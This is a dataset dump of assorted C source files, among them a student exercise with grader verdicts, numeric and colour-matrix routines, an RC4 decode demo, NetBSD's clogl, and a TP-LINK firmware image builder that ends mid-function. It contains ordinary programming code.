file
stringlengths 18
26
| data
stringlengths 2
1.05M
|
---|---|
the_stack_data/87638794.c | /*numPass=9, numTotal=9
Verdict:ACCEPTED, Visibility:1, Input:"abcdef", ExpOutput:"bdfhjl", Output:"bdfhjl"
Verdict:ACCEPTED, Visibility:1, Input:"wxyz", ExpOutput:"tvxz", Output:"tvxz"
Verdict:ACCEPTED, Visibility:1, Input:"zyxw", ExpOutput:"zxvt", Output:"zxvt"
Verdict:ACCEPTED, Visibility:1, Input:"t", ExpOutput:"n", Output:"n"
Verdict:ACCEPTED, Visibility:1, Input:"lly", ExpOutput:"xxx", Output:"xxx"
Verdict:ACCEPTED, Visibility:0, Input:"qwerty", ExpOutput:"htjjnx", Output:"htjjnx"
Verdict:ACCEPTED, Visibility:0, Input:"manuallyaddedtestcases", ExpOutput:"zbbpbxxxbhhjhnjlnfbljl", Output:"zbbpbxxxbhhjhnjlnfbljl"
Verdict:ACCEPTED, Visibility:0, Input:"yllyl", ExpOutput:"xxxxx", Output:"xxxxx"
Verdict:ACCEPTED, Visibility:0, Input:"visibility", ExpOutput:"rrlrdrxrnx", Output:"rrlrdrxrnx"
*/
#include <stdio.h>
int main() {
int i;
char str[100]; // creatindg a string of 100 elements.
char b;
scanf("%s",str);
//printf("%s",str);
for(i=0;str[i]!=0;i++)
{
if (str[i]>'m') // m lies in middle of alphabetical order.
{
b=str[i]+str[i]-'a'-25;
}
else
{
b=str[i]+str[i]-'a'+1;
}
printf("%c",b);
}
return 0;
} |
the_stack_data/614585.c | #include<stdio.h>
#include<math.h>
double horner(double x, double aa[], long n) {
long i;
double s = aa[n-1];
if (n > 1) {
for (i = n-2; i >= 0; i--) {
s = s*x + aa[i];
}
}
return s;
}
|
the_stack_data/34079.c | #include <stdio.h>
#include <stdlib.h>
#include <time.h>
typedef enum
{
NENHUM,
EMPRESA,
SORTEREVES,
PRISAO,
TERRENO
} enumcasa;
typedef enum
{
NINGUEM,
JOGADOR1,
JOGADOR2
} enumpeca;
typedef struct
{
enumcasa tipocasa;
enumpeca dono;
int valor;
} tcasa;
void mostra(tcasa inicial[30], int posicao1, int posicao2);
void inicializa(tcasa inicia[30]);
void geratabuleiro(tcasa inicia[30]);
int main(int argc, char *argv[])
{
tcasa inicia[30];
int i, posicao1 = 0, posicao2 = 0, sorteio;
inicializa(inicia);
geratabuleiro(inicia);
srand(time(NULL));
for (i = 0; i < 10; i++)
{
sorteio = rand() % 3;
posicao1 = posicao1 + sorteio;
sorteio = rand() % 3;
posicao2 = posicao2 + sorteio;
if (posicao1 >= 30)
posicao1 = 0;
if (posicao2 >= 30)
posicao2 = 0;
mostra(inicia, posicao1, posicao2);
}
return 0;
}
void inicializa(tcasa inicia[30])
{
int i;
for (i = 0; i < 30; i++)
{
inicia[i].tipocasa = NENHUM;
inicia[i].dono = NINGUEM;
inicia[i].valor = 0;
}
}
void geratabuleiro(tcasa inicia[30])
{
int i, j, status, aux[30], c, valor;
srand(time(NULL));
for (i = 0; i < 30; ++i)
{
if (i < 10)
{
do
{
aux[i] = rand() % 30;
c = aux[i];
inicia[c].tipocasa = EMPRESA;
status = 1;
for (j = 0; (j < i) && (status == 1); j++)
if (aux[i] == aux[j])
status = 0;
} while (status == 0);
}
if (i >= 10 && i < 15)
{
do
{
aux[i] = rand() % 30;
c = aux[i];
inicia[c].tipocasa = SORTEREVES;
status = 1;
for (j = 0; (j < i) && (status == 1); j++)
if (aux[i] == aux[j])
status = 0;
} while (status == 0);
}
if (i >= 15 && i < 17)
{
do
{
aux[i] = rand() % 30;
c = aux[i];
inicia[c].tipocasa = PRISAO;
status = 1;
for (j = 0; (j < i) && (status == 1); j++)
if (aux[i] == aux[j])
status = 0;
} while (status == 0);
}
}
for (i = 0; i < 30; ++i)
{
if (inicia[i].tipocasa == NENHUM)
{
inicia[i].tipocasa = TERRENO;
inicia[i].valor = rand() % 10;
}
if (inicia[i].tipocasa == EMPRESA)
{
valor = rand() % 2;
if (valor = 0)
inicia[i].valor = 10;
else
inicia[i].valor = 20;
}
}
}
void mostra(tcasa inicia[30], int posicao1, int posicao2)
{
int i;
int aux[30];
for (i = 0; i < 15; i++)
printf(" %2d ", i);
printf("\n");
for (i = 0; i < 15; i++)
{
if (inicia[i].tipocasa == EMPRESA)
printf(" EM ");
else if (inicia[i].tipocasa == SORTEREVES)
printf(" SO ");
else if (inicia[i].tipocasa == PRISAO)
printf(" PR ");
else if (inicia[i].tipocasa == TERRENO)
printf(" TE ");
}
printf("\n");
for (i = 0; i < 15; i++)
printf(" %2d ", inicia[i].valor);
printf("\n\n");
for (i = 0; i < 15; i++)
{
if (i == posicao1)
printf(" P1 ");
else if (i == posicao2)
printf(" P2 ");
else
printf(" [] ");
}
printf("\n");
for (i = 15; i < 30; i++)
{
if (i == posicao1)
printf(" P1 ");
else if (i == posicao2)
printf(" P2 ");
else
printf(" [] ");
}
printf("\n\n");
for (i = 15; i < 30; i++)
printf(" %2d ", i);
printf("\n");
for (i = 15; i < 30; i++)
{
if (inicia[i].tipocasa == EMPRESA)
printf(" EM ");
else if (inicia[i].tipocasa == SORTEREVES)
printf(" SO ");
else if (inicia[i].tipocasa == PRISAO)
printf(" PR ");
else if (inicia[i].tipocasa == TERRENO)
printf(" TE ");
}
printf("\n");
for (i = 15; i < 30; i++)
printf(" %2d ", inicia[i].valor);
printf("\n\n\n\n");
}
|
the_stack_data/90765212.c | #include <stdio.h>
#define A( i, j ) a[ (j)*lda + (i) ]
void print_matrix( int m, int n, double *a, int lda )
{
int i, j;
for ( j=0; j<n; j++ ){
for ( i=0; i<m; i++ )
printf("%le ", A( i,j ) );
printf("\n");
}
printf("\n");
}
|
the_stack_data/48575111.c | /*
* matrix -
* Use 4x4 matricies to process color images.
*
* To compile:
cc matrix.c -o matrix -lgutil -limage -lgl -lm
*
* Paul Haeberli - 1993
*/
#include "math.h"
#include "stdio.h"
#define RLUM (0.3086)
#define GLUM (0.6094)
#define BLUM (0.0820)
#define OFFSET_R 3
#define OFFSET_G 2
#define OFFSET_B 1
#define OFFSET_A 0
/*
* printmat -
* print a 4 by 4 matrix
*/
printmat(mat)
float mat[4][4];
{
int x, y;
fprintf(stderr,"\n");
for(y=0; y<4; y++) {
for(x=0; x<4; x++)
fprintf(stderr,"%f ",mat[y][x]);
fprintf(stderr,"\n");
}
fprintf(stderr,"\n");
}
/*
* applymatrix -
* use a matrix to transform colors.
*/
applymatrix(lptr,mat,n)
unsigned long *lptr;
float mat[4][4];
int n;
{
int ir, ig, ib, r, g, b;
unsigned char *cptr;
cptr = (unsigned char *)lptr;
while(n--) {
ir = cptr[OFFSET_R];
ig = cptr[OFFSET_G];
ib = cptr[OFFSET_B];
r = ir*mat[0][0] + ig*mat[1][0] + ib*mat[2][0] + mat[3][0];
g = ir*mat[0][1] + ig*mat[1][1] + ib*mat[2][1] + mat[3][1];
b = ir*mat[0][2] + ig*mat[1][2] + ib*mat[2][2] + mat[3][2];
if(r<0) r = 0;
if(r>255) r = 255;
if(g<0) g = 0;
if(g>255) g = 255;
if(b<0) b = 0;
if(b>255) b = 255;
cptr[OFFSET_R] = r;
cptr[OFFSET_G] = g;
cptr[OFFSET_B] = b;
cptr += 4;
}
}
/*
* matrixmult -
* multiply two matricies
*/
matrixmult(a,b,c)
float a[4][4], b[4][4], c[4][4];
{
int x, y;
float temp[4][4];
for(y=0; y<4 ; y++)
for(x=0 ; x<4 ; x++) {
temp[y][x] = b[y][0] * a[0][x]
+ b[y][1] * a[1][x]
+ b[y][2] * a[2][x]
+ b[y][3] * a[3][x];
}
for(y=0; y<4; y++)
for(x=0; x<4; x++)
c[y][x] = temp[y][x];
}
/*
* identmat -
* make an identity matrix
*/
identmat(matrix)
float *matrix;
{
*matrix++ = 1.0; /* row 1 */
*matrix++ = 0.0;
*matrix++ = 0.0;
*matrix++ = 0.0;
*matrix++ = 0.0; /* row 2 */
*matrix++ = 1.0;
*matrix++ = 0.0;
*matrix++ = 0.0;
*matrix++ = 0.0; /* row 3 */
*matrix++ = 0.0;
*matrix++ = 1.0;
*matrix++ = 0.0;
*matrix++ = 0.0; /* row 4 */
*matrix++ = 0.0;
*matrix++ = 0.0;
*matrix++ = 1.0;
}
/*
* xformpnt -
* transform a 3D point using a matrix
*/
xformpnt(matrix,x,y,z,tx,ty,tz)
float matrix[4][4];
float x,y,z;
float *tx,*ty,*tz;
{
*tx = x*matrix[0][0] + y*matrix[1][0] + z*matrix[2][0] + matrix[3][0];
*ty = x*matrix[0][1] + y*matrix[1][1] + z*matrix[2][1] + matrix[3][1];
*tz = x*matrix[0][2] + y*matrix[1][2] + z*matrix[2][2] + matrix[3][2];
}
/*
* cscalemat -
* make a color scale marix
*/
cscalemat(mat,rscale,gscale,bscale)
float mat[4][4];
float rscale, gscale, bscale;
{
float mmat[4][4];
mmat[0][0] = rscale;
mmat[0][1] = 0.0;
mmat[0][2] = 0.0;
mmat[0][3] = 0.0;
mmat[1][0] = 0.0;
mmat[1][1] = gscale;
mmat[1][2] = 0.0;
mmat[1][3] = 0.0;
mmat[2][0] = 0.0;
mmat[2][1] = 0.0;
mmat[2][2] = bscale;
mmat[2][3] = 0.0;
mmat[3][0] = 0.0;
mmat[3][1] = 0.0;
mmat[3][2] = 0.0;
mmat[3][3] = 1.0;
matrixmult(mmat,mat,mat);
}
/*
* lummat -
* make a luminance marix
*/
lummat(mat)
float mat[4][4];
{
float mmat[4][4];
float rwgt, gwgt, bwgt;
rwgt = RLUM;
gwgt = GLUM;
bwgt = BLUM;
mmat[0][0] = rwgt;
mmat[0][1] = rwgt;
mmat[0][2] = rwgt;
mmat[0][3] = 0.0;
mmat[1][0] = gwgt;
mmat[1][1] = gwgt;
mmat[1][2] = gwgt;
mmat[1][3] = 0.0;
mmat[2][0] = bwgt;
mmat[2][1] = bwgt;
mmat[2][2] = bwgt;
mmat[2][3] = 0.0;
mmat[3][0] = 0.0;
mmat[3][1] = 0.0;
mmat[3][2] = 0.0;
mmat[3][3] = 1.0;
matrixmult(mmat,mat,mat);
}
/*
* saturatemat -
* make a saturation marix
*/
saturatemat(mat,sat)
float mat[4][4];
float sat;
{
float mmat[4][4];
float a, b, c, d, e, f, g, h, i;
float rwgt, gwgt, bwgt;
rwgt = RLUM;
gwgt = GLUM;
bwgt = BLUM;
a = (1.0-sat)*rwgt + sat;
b = (1.0-sat)*rwgt;
c = (1.0-sat)*rwgt;
d = (1.0-sat)*gwgt;
e = (1.0-sat)*gwgt + sat;
f = (1.0-sat)*gwgt;
g = (1.0-sat)*bwgt;
h = (1.0-sat)*bwgt;
i = (1.0-sat)*bwgt + sat;
mmat[0][0] = a;
mmat[0][1] = b;
mmat[0][2] = c;
mmat[0][3] = 0.0;
mmat[1][0] = d;
mmat[1][1] = e;
mmat[1][2] = f;
mmat[1][3] = 0.0;
mmat[2][0] = g;
mmat[2][1] = h;
mmat[2][2] = i;
mmat[2][3] = 0.0;
mmat[3][0] = 0.0;
mmat[3][1] = 0.0;
mmat[3][2] = 0.0;
mmat[3][3] = 1.0;
matrixmult(mmat,mat,mat);
}
/*
* offsetmat -
* offset r, g, and b
*/
offsetmat(mat,roffset,goffset,boffset)
float mat[4][4];
float roffset, goffset, boffset;
{
float mmat[4][4];
mmat[0][0] = 1.0;
mmat[0][1] = 0.0;
mmat[0][2] = 0.0;
mmat[0][3] = 0.0;
mmat[1][0] = 0.0;
mmat[1][1] = 1.0;
mmat[1][2] = 0.0;
mmat[1][3] = 0.0;
mmat[2][0] = 0.0;
mmat[2][1] = 0.0;
mmat[2][2] = 1.0;
mmat[2][3] = 0.0;
mmat[3][0] = roffset;
mmat[3][1] = goffset;
mmat[3][2] = boffset;
mmat[3][3] = 1.0;
matrixmult(mmat,mat,mat);
}
/*
* xrotate -
* rotate about the x (red) axis
*/
xrotatemat(mat,rs,rc)
float mat[4][4];
float rs, rc;
{
float mmat[4][4];
mmat[0][0] = 1.0;
mmat[0][1] = 0.0;
mmat[0][2] = 0.0;
mmat[0][3] = 0.0;
mmat[1][0] = 0.0;
mmat[1][1] = rc;
mmat[1][2] = rs;
mmat[1][3] = 0.0;
mmat[2][0] = 0.0;
mmat[2][1] = -rs;
mmat[2][2] = rc;
mmat[2][3] = 0.0;
mmat[3][0] = 0.0;
mmat[3][1] = 0.0;
mmat[3][2] = 0.0;
mmat[3][3] = 1.0;
matrixmult(mmat,mat,mat);
}
/*
* yrotate -
* rotate about the y (green) axis
*/
yrotatemat(mat,rs,rc)
float mat[4][4];
float rs, rc;
{
float mmat[4][4];
mmat[0][0] = rc;
mmat[0][1] = 0.0;
mmat[0][2] = -rs;
mmat[0][3] = 0.0;
mmat[1][0] = 0.0;
mmat[1][1] = 1.0;
mmat[1][2] = 0.0;
mmat[1][3] = 0.0;
mmat[2][0] = rs;
mmat[2][1] = 0.0;
mmat[2][2] = rc;
mmat[2][3] = 0.0;
mmat[3][0] = 0.0;
mmat[3][1] = 0.0;
mmat[3][2] = 0.0;
mmat[3][3] = 1.0;
matrixmult(mmat,mat,mat);
}
/*
* zrotate -
* rotate about the z (blue) axis
*/
zrotatemat(mat,rs,rc)
float mat[4][4];
float rs, rc;
{
float mmat[4][4];
mmat[0][0] = rc;
mmat[0][1] = rs;
mmat[0][2] = 0.0;
mmat[0][3] = 0.0;
mmat[1][0] = -rs;
mmat[1][1] = rc;
mmat[1][2] = 0.0;
mmat[1][3] = 0.0;
mmat[2][0] = 0.0;
mmat[2][1] = 0.0;
mmat[2][2] = 1.0;
mmat[2][3] = 0.0;
mmat[3][0] = 0.0;
mmat[3][1] = 0.0;
mmat[3][2] = 0.0;
mmat[3][3] = 1.0;
matrixmult(mmat,mat,mat);
}
/*
* zshear -
* shear z using x and y.
*/
zshearmat(mat,dx,dy)
float mat[4][4];
float dx, dy;
{
float mmat[4][4];
mmat[0][0] = 1.0;
mmat[0][1] = 0.0;
mmat[0][2] = dx;
mmat[0][3] = 0.0;
mmat[1][0] = 0.0;
mmat[1][1] = 1.0;
mmat[1][2] = dy;
mmat[1][3] = 0.0;
mmat[2][0] = 0.0;
mmat[2][1] = 0.0;
mmat[2][2] = 1.0;
mmat[2][3] = 0.0;
mmat[3][0] = 0.0;
mmat[3][1] = 0.0;
mmat[3][2] = 0.0;
mmat[3][3] = 1.0;
matrixmult(mmat,mat,mat);
}
/*
* simplehuerotatemat -
* simple hue rotation. This changes luminance
*/
simplehuerotatemat(mat,rot)
float mat[4][4];
float rot;
{
float mag;
float xrs, xrc;
float yrs, yrc;
float zrs, zrc;
/* rotate the grey vector into positive Z */
mag = sqrt(2.0);
xrs = 1.0/mag;
xrc = 1.0/mag;
xrotatemat(mat,xrs,xrc);
mag = sqrt(3.0);
yrs = -1.0/mag;
yrc = sqrt(2.0)/mag;
yrotatemat(mat,yrs,yrc);
/* rotate the hue */
zrs = sin(rot*M_PI/180.0);
zrc = cos(rot*M_PI/180.0);
zrotatemat(mat,zrs,zrc);
/* rotate the grey vector back into place */
yrotatemat(mat,-yrs,yrc);
xrotatemat(mat,-xrs,xrc);
}
/*
* huerotatemat -
* rotate the hue, while maintaining luminance.
*/
huerotatemat(mat,rot)
float mat[4][4];
float rot;
{
float mmat[4][4];
float mag;
float lx, ly, lz;
float xrs, xrc;
float yrs, yrc;
float zrs, zrc;
float zsx, zsy;
identmat(mmat);
/* rotate the grey vector into positive Z */
mag = sqrt(2.0);
xrs = 1.0/mag;
xrc = 1.0/mag;
xrotatemat(mmat,xrs,xrc);
mag = sqrt(3.0);
yrs = -1.0/mag;
yrc = sqrt(2.0)/mag;
yrotatemat(mmat,yrs,yrc);
/* shear the space to make the luminance plane horizontal */
xformpnt(mmat,RLUM,GLUM,BLUM,&lx,&ly,&lz);
zsx = lx/lz;
zsy = ly/lz;
zshearmat(mmat,zsx,zsy);
/* rotate the hue */
zrs = sin(rot*M_PI/180.0);
zrc = cos(rot*M_PI/180.0);
zrotatemat(mmat,zrs,zrc);
/* unshear the space to put the luminance plane back */
zshearmat(mmat,-zsx,-zsy);
/* rotate the grey vector back into place */
yrotatemat(mmat,-yrs,yrc);
xrotatemat(mmat,-xrs,xrc);
matrixmult(mmat,mat,mat);
}
main(argc,argv)
int argc;
char **argv;
{
unsigned long *lbuf;
int xsize, ysize;
float mat[4][4];
if(argc<2) {
fprintf(stderr,"usage: matrix in.rgb\n");
exit(1);
}
sizeofimage(argv[1],&xsize,&ysize);
lbuf = (unsigned long*)longimagedata(argv[1]);
prefsize(xsize,ysize);
winopen("matrix color");
RGBmode();
gconfig();
lrectwrite(0,0,xsize-1,ysize-1,lbuf);
identmat(mat);
offsetmat(mat,-50.0,-50.0,-50.0); /* offset color */
cscalemat(mat,1.4,1.5,1.6); /* scale the colors */
saturatemat(mat,1.7); /* saturate by 2.0 */
huerotatemat(mat,10.0); /* rotate the hue 10 */
printmat(mat);
applymatrix(lbuf,mat,xsize*ysize);
lrectwrite(0,0,xsize-1,ysize-1,lbuf);
sleep(10);
exit(0);
}
|
the_stack_data/123484.c | #include <stdio.h>
#include <stdint.h>
uint8_t ease8InOutApprox(uint8_t i) {
if (i < 64) {
// start with slope 0.5
i /= 2;
} else if (i > (255 - 64)) {
// end with slope 0.5
i = 255 - i;
i /= 2;
i = 255 - i;
} else {
// in the middle, use slope 192/128 = 1.5
i -= 64;
i += (i / 2);
i += 32;
}
return i;
}
int main () {
for ( uint16_t i = 0; i < 256; i++ ) {
printf("%d, %d\n", i, ease8InOutApprox((uint8_t)(i)));
}
return 0;
}
|
the_stack_data/48574299.c | #include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
// via: http://bradconte.com/rc4_c
// Key Scheduling Algorithm
// Input: state - the state used to generate the keystream
// key - Key to use to initialize the state
// len - length of key in bytes
__attribute__((always_inline))
static inline void ksa(unsigned char state[], const unsigned char key[], int len)
{
int i,j=0,t;
for (i=0; i < 256; ++i)
state[i] = i;
for (i=0; i < 256; ++i) {
j = (j + state[i] + key[i % len]) % 256;
t = state[i];
state[i] = state[j];
state[j] = t;
}
}
// via: http://bradconte.com/rc4_
// Pseudo-Random Generator Algorithm
// Input: state - the state used to generate the keystream
// out - Must be of at least "len" length
// len - number of bytes to generate
__attribute__((always_inline))
static inline void prga(unsigned char state[], unsigned char out[], int len)
{
int i=0,j=0,x,t;
unsigned char key;
for (x=0; x < len; ++x) {
i = (i + 1) % 256;
j = (j + state[i]) % 256;
t = state[i];
state[i] = state[j];
state[j] = t;
out[x] = state[(state[i] + state[j]) % 256];
}
}
int decode(void *out, size_t out_len, const void *in, size_t in_len, const void *key, size_t key_len) {
unsigned char state[0x100];
ksa(state, key, key_len);
prga(state, out, out_len);
for (unsigned int i = 0; i < out_len; i++) {
((unsigned char *)out)[i] ^= ((unsigned char *)in)[i];
}
return 0;
}
int main(int argc, char **argv) {
// In [12]: a = ARC4.new(b"\x00\x01\x02\x03")
// In [13]: a.encrypt(b"Hello world\x00").encode("hex")
// Out[13]: '054596da5ae3b2242f9f0256'
unsigned char key[] = {0x00, 0x01, 0x02, 0x03};
unsigned char in[] = {0x05, 0x45, 0x96, 0xda, 0x5a, 0xe3, 0xb2, 0x24, 0x2f, 0x9f, 0x02, 0x56};
unsigned char out[sizeof(in)] = {0};
if (decode(out, sizeof(out), in, sizeof(in), key, sizeof(key))) {
perror("failed to decode.\n");
return -1;
}
printf("%s\n", out);
return 0;
}
|
the_stack_data/84977.c | /* $NetBSD: clogl.c,v 1.1 2014/10/10 00:48:18 christos Exp $ */
/*-
* Copyright (c) 2007 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software written by Stephen L. Moshier.
* It is redistributed by the NetBSD Foundation by permission of the author.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include <complex.h>
#include <math.h>
long double complex
clogl(long double complex z)
{
long double complex w;
long double p, rr;
rr = cabsl(z);
p = logl(rr);
rr = atan2l(cimagl(z), creall(z));
w = p + rr * I;
return w;
}
|
the_stack_data/992077.c | /*
Copyright (c) 2014, Matthias Schiffer <[email protected]>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
tplink-safeloader
Image generation tool for the TP-LINK SafeLoader as seen on
TP-LINK Pharos devices (CPE210/220/510/520)
*/
#include <assert.h>
#include <errno.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include "md5.h"
#define ALIGN(x,a) ({ typeof(a) __a = (a); (((x) + __a - 1) & ~(__a - 1)); })
/** An image partition table entry */
struct image_partition_entry {
const char *name;
size_t size;
uint8_t *data;
};
/** A flash partition table entry */
struct flash_partition_entry {
const char *name;
uint32_t base;
uint32_t size;
};
/** The content of the soft-version structure */
struct __attribute__((__packed__)) soft_version {
uint32_t magic;
uint32_t zero;
uint8_t pad1;
uint8_t version_major;
uint8_t version_minor;
uint8_t version_patch;
uint8_t year_hi;
uint8_t year_lo;
uint8_t month;
uint8_t day;
uint32_t rev;
uint8_t pad2;
};
static const uint8_t jffs2_eof_mark[4] = {0xde, 0xad, 0xc0, 0xde};
/**
Salt for the MD5 hash
Fortunately, TP-LINK seems to use the same salt for most devices which use
the new image format.
*/
static const uint8_t md5_salt[16] = {
0x7a, 0x2b, 0x15, 0xed,
0x9b, 0x98, 0x59, 0x6d,
0xe5, 0x04, 0xab, 0x44,
0xac, 0x2a, 0x9f, 0x4e,
};
/** Vendor information for CPE210/220/510/520 */
static const char cpe510_vendor[] = "CPE510(TP-LINK|UN|N300-5):1.0\r\n";
/** Vendor information for C2600 */
static const char c2600_vendor[] = "";
/** Vendor information for C2600 */
static const char tl1043ndv4_vendor[] = "";
/**
The flash partition table for CPE210/220/510/520;
it is the same as the one used by the stock images.
*/
static const struct flash_partition_entry cpe510_partitions[] = {
{"fs-uboot", 0x00000, 0x20000},
{"partition-table", 0x20000, 0x02000},
{"default-mac", 0x30000, 0x00020},
{"product-info", 0x31100, 0x00100},
{"signature", 0x32000, 0x00400},
{"os-image", 0x40000, 0x170000},
{"soft-version", 0x1b0000, 0x00100},
{"support-list", 0x1b1000, 0x00400},
{"file-system", 0x1c0000, 0x600000},
{"user-config", 0x7c0000, 0x10000},
{"default-config", 0x7d0000, 0x10000},
{"log", 0x7e0000, 0x10000},
{"radio", 0x7f0000, 0x10000},
{NULL, 0, 0}
};
/**
The flash partition table for C2600;
it is the same as the one used by the stock images.
*/
static const struct flash_partition_entry c2600_partitions[] = {
{"SBL1", 0x00000, 0x20000},
{"MIBIB", 0x20000, 0x20000},
{"SBL2", 0x40000, 0x20000},
{"SBL3", 0x60000, 0x30000},
{"DDRCONFIG", 0x90000, 0x10000},
{"SSD", 0xa0000, 0x10000},
{"TZ", 0xb0000, 0x30000},
{"RPM", 0xe0000, 0x20000},
{"fs-uboot", 0x100000, 0x70000},
{"uboot-env", 0x170000, 0x40000},
{"radio", 0x1b0000, 0x40000},
{"os-image", 0x1f0000, 0x200000},
{"file-system", 0x3f0000, 0x1b00000},
{"default-mac", 0x1ef0000, 0x00200},
{"pin", 0x1ef0200, 0x00200},
{"product-info", 0x1ef0400, 0x0fc00},
{"partition-table", 0x1f00000, 0x10000},
{"soft-version", 0x1f10000, 0x10000},
{"support-list", 0x1f20000, 0x10000},
{"profile", 0x1f30000, 0x10000},
{"default-config", 0x1f40000, 0x10000},
{"user-config", 0x1f50000, 0x40000},
{"qos-db", 0x1f90000, 0x40000},
{"usb-config", 0x1fd0000, 0x10000},
{"log", 0x1fe0000, 0x20000},
{NULL, 0, 0}
};
/**
The flash partition table for TL1043NDv4;
it is the same as the one used by the stock images.
*/
static const struct flash_partition_entry tl1043ndv4_partitions[] = {
{"fs-uboot", 0x00000, 0x20000},
{"os-image", 0x20000, 0x180000},
{"file-system", 0x1a0000, 0xdb0000},
{"default-mac", 0xf50000, 0x00200},
{"pin", 0xf50200, 0x00200},
{"product-info", 0xf50400, 0x0fc00},
{"soft-version", 0xf60000, 0x0b000},
{"support-list", 0xf6b000, 0x04000},
{"profile", 0xf70000, 0x04000},
{"default-config", 0xf74000, 0x0b000},
{"user-config", 0xf80000, 0x40000},
{"partition-table", 0xfc0000, 0x10000},
{"log", 0xfd0000, 0x20000},
{"radio", 0xff0000, 0x10000},
{NULL, 0, 0}
};
/**
The support list for CPE210/220/510/520
*/
static const char cpe510_support_list[] =
"SupportList:\r\n"
"CPE510(TP-LINK|UN|N300-5):1.0\r\n"
"CPE510(TP-LINK|UN|N300-5):1.1\r\n"
"CPE520(TP-LINK|UN|N300-5):1.0\r\n"
"CPE520(TP-LINK|UN|N300-5):1.1\r\n"
"CPE210(TP-LINK|UN|N300-2):1.0\r\n"
"CPE210(TP-LINK|UN|N300-2):1.1\r\n"
"CPE220(TP-LINK|UN|N300-2):1.0\r\n"
"CPE220(TP-LINK|UN|N300-2):1.1\r\n";
/**
The support list for C2600
*/
static const char c2600_support_list[] =
"SupportList:\r\n"
"{product_name:Archer C2600,product_ver:1.0.0,special_id:00000000}\r\n";
/**
The support list for TL1043NDv4
*/
static const char tl1043ndv4_support_list[] =
"SupportList:\r\n"
"{product_name:TL-WR1043ND,product_ver:4.0.0,special_id:45550000}\r\n";
#define error(_ret, _errno, _str, ...) \
do { \
fprintf(stderr, _str ": %s\n", ## __VA_ARGS__, \
strerror(_errno)); \
if (_ret) \
exit(_ret); \
} while (0)
/** Stores a uint32 as big endian */
static inline void put32(uint8_t *buf, uint32_t val) {
buf[0] = val >> 24;
buf[1] = val >> 16;
buf[2] = val >> 8;
buf[3] = val;
}
/** Allocates a new image partition */
static struct image_partition_entry alloc_image_partition(const char *name, size_t len) {
struct image_partition_entry entry = {name, len, malloc(len)};
if (!entry.data)
error(1, errno, "malloc");
return entry;
}
/** Frees an image partition */
static void free_image_partition(struct image_partition_entry entry) {
free(entry.data);
}
/** Generates the partition-table partition */
static struct image_partition_entry make_partition_table(const struct flash_partition_entry *p) {
struct image_partition_entry entry = alloc_image_partition("partition-table", 0x800);
char *s = (char *)entry.data, *end = (char *)(s+entry.size);
*(s++) = 0x00;
*(s++) = 0x04;
*(s++) = 0x00;
*(s++) = 0x00;
size_t i;
for (i = 0; p[i].name; i++) {
size_t len = end-s;
size_t w = snprintf(s, len, "partition %s base 0x%05x size 0x%05x\n", p[i].name, p[i].base, p[i].size);
if (w > len-1)
error(1, 0, "flash partition table overflow?");
s += w;
}
s++;
memset(s, 0xff, end-s);
return entry;
}
/** Generates a binary-coded decimal representation of an integer in the range [0, 99] */
static inline uint8_t bcd(uint8_t v) {
return 0x10 * (v/10) + v%10;
}
/** Generates the soft-version partition */
static struct image_partition_entry make_soft_version(uint32_t rev) {
struct image_partition_entry entry = alloc_image_partition("soft-version", sizeof(struct soft_version));
struct soft_version *s = (struct soft_version *)entry.data;
time_t t;
if (time(&t) == (time_t)(-1))
error(1, errno, "time");
struct tm *tm = localtime(&t);
s->magic = htonl(0x0000000c);
s->zero = 0;
s->pad1 = 0xff;
s->version_major = 0;
s->version_minor = 0;
s->version_patch = 0;
s->year_hi = bcd((1900+tm->tm_year)/100);
